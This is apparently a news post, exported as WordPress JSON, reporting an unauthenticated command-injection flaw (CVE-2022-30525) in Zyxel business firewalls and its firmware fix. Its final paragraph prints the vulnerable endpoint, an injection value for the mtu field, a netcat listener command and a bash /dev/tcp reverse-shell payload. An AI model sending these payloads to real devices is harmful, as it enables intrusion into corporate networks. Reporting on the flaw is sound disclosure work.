{"id":104018,"date":"2022-05-13T21:36:39","date_gmt":"2022-05-13T19:36:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-mezhsetevyh-ekranah-zyxel-pozvolyayushhaya-vypolnit-kod-bez-autentifikaczii"},"modified":"2022-05-13T21:36:39","modified_gmt":"2022-05-13T19:36:39","slug":"uyazvimost-v-mezhsetevyh-ekranah-zyxel-pozvolyayushhaya-vypolnit-kod-bez-autentifikaczii","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/uyazvimost-v-mezhsetevyh-ekranah-zyxel-pozvolyayushhaya-vypolnit-kod-bez-autentifikaczii","title":{"rendered":"Sicherheitsanf\u00e4lligkeit in Zyxel-Firewalls erm\u00f6glicht die Ausf\u00fchrung von Code ohne Authentifizierung.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
In den Zyxel-Ger\u00e4ten der Serien ATP, VPN und USG FLEX, die f\u00fcr die Einrichtung von Firewalls, IDS und VPNs in Unternehmen konzipiert sind, wurde eine kritische Sicherheitsanf\u00e4lligkeit (CVE-2022-30525) festgestellt. Diese erm\u00f6glicht es einem externen Angreifer, ohne Authentifizierung Code auf dem Ger\u00e4t mit den Rechten des Benutzers 'nobody' auszuf\u00fchren. Um den Angriff durchzuf\u00fchren, muss der Angreifer in der Lage sein, Anfragen \u00fcber das HTTP\/HTTPS-Protokoll an das Ger\u00e4t zu senden. Zyxel hat die Schwachstelle mit dem Firmware-Update ZLD 5.30 behoben. Laut dem Shodan-Dienst sind derzeit in globalen Netzwerken 16.213 potenziell anf\u00e4llige Ger\u00e4te registriert, die Anfragen \u00fcber HTTP\/HTTPS akzeptieren. <\/p>\n
Die Ausnutzung erfolgt durch das Senden speziell gestalteter Befehle an den Web-Handler \/ztp\/cgi-bin\/handler, der ohne Authentifizierung zug\u00e4nglich ist. Das Problem wird durch das Fehlen einer angemessenen Bereinigung der Anfrageparameter verursacht, wenn Befehle im System mittels des Aufrufs os.system ausgef\u00fchrt werden, der in der Bibliothek lib_wan_settings.py verwendet wird und bei der Verarbeitung der Operation setWanPortSt zum Einsatz kommt. <\/p>\n
Zum Beispiel kann ein Angreifer im mtu-Feld den Befehl \"; ping 192.168.1.210;\" eingeben, was zur Ausf\u00fchrung des Kommandos \"ping 192.168.1.210\" im System f\u00fchrt. Um Zugriff auf die Kommandozeile zu erhalten, kann auf dem eigenen System \"nc -lvnp 1270\" gestartet werden, gefolgt von der Initiierung einer R\u00fcckverbindung (reverse shell), indem an das Ger\u00e4t eine Anfrage mit dem Parameter \"; bash -c \\\"exec bash -i >&\/dev\/tcp\/192.168.1.210\/1270 <&1;\\";" gesendet wird. \n Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"